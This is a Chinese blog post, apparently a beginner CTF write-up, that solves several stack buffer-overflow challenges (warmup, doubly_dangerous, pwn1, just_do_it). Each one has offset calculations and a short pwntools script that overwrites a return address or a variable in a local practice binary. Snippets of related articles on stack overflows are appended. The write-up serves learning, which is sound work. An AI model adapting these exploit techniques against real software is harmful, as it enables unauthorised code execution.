棧溢位練習

2022-07-30 23:03:16 字數 1223 閱讀 8968

簡單的棧溢位問題,保護都沒開,新手練習用的

測試執行了兩次,發現給出的位址不是動態的,這樣問題就很簡單

需要填充64個字元的padding,再加上8個字元的ebp,一共72個字元

from pwn import *

p = process('./warmup')

p.sendline('a'*72 + p64(0x40060d))

p.interactive()

32位程式,開啟了nx保護

檢視偽**,我的第一念想是使v5等於那個11.28125,但是不知道11.28125的儲存方式

檢視11.28125的16進製制數

我們得到00 80 34 41 這個16進製制數,但是系統採用的大端,所以真正的值為0x41348000

在棧上s和v5之間距離是0x40,所以需要64個填充字元

from pwn import *

p = process('./doubly_dangerous')

p.sendline('a'*64 + p32(0x41348000))

p.interactive()

另乙個方法是覆蓋s的返回位址為give_flag的位址,但是試了很多次都失敗了

32位程式,開啟了nx保護

檢視偽**,s這裡限制32個字元,而s距ebp有60個字元;

然後發現是將輸入裡的i轉化成you。這個時候我們可以想一下,如果我們輸入一定的i。在緩衝區大小不變的情況下,轉換成you,會不會造成緩衝區溢位,能否覆蓋掉返回位址。

這裡最重要的是能看懂c++的這個偽**,然而我看不懂~~

from pwn import *

p = process('./pwn1')

p.sendline('i'*21 + 'a' + p32(0x08048f0d))

p.interactive()

32位程式,開啟了nx保護

檢視偽**,strcmp這裡存在快取區溢位

計算出padding是20個字元

from pwn import *

p = process('./just_do_it')

p.sendline('a'*20 + p32(0x0804a080))

p.interactive()

棧溢位和棧記憶體溢位

棧記憶體溢位是指使用者棧的大小最多為8 10mb,分配超過棧大小的變數則會導致棧記憶體溢位。如char c 1024102411 11mb 棧溢位指的是程式向棧中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的棧中的變數的值被改變。如char c 10 memset c...

棧溢位,記憶體溢位

對於一台伺服器而言,每乙個使用者請求,都會產生乙個執行緒來處理這個請求,每乙個執行緒對應著乙個棧,棧會分配記憶體,此時如果請求過多,這時候記憶體不夠了,就會發生棧記憶體溢位。棧溢位是指不斷的呼叫方法,不斷的壓棧,最終超出了棧允許的棧深度,就會發生棧溢位,比如遞迴操作沒有終止,死迴圈。可以把記憶體比作...

棧溢位攻擊c語言 棧溢位攻擊

我們先來看下面的乙個例子 include int main gets str printf str s n str return 0 在 main 函式內部定義乙個字元陣列,並通過 gets 為它賦值。在vs2010 debug模式下執行程式,當輸入的字元不超過10個時,可以正確輸出,但是當輸入的字...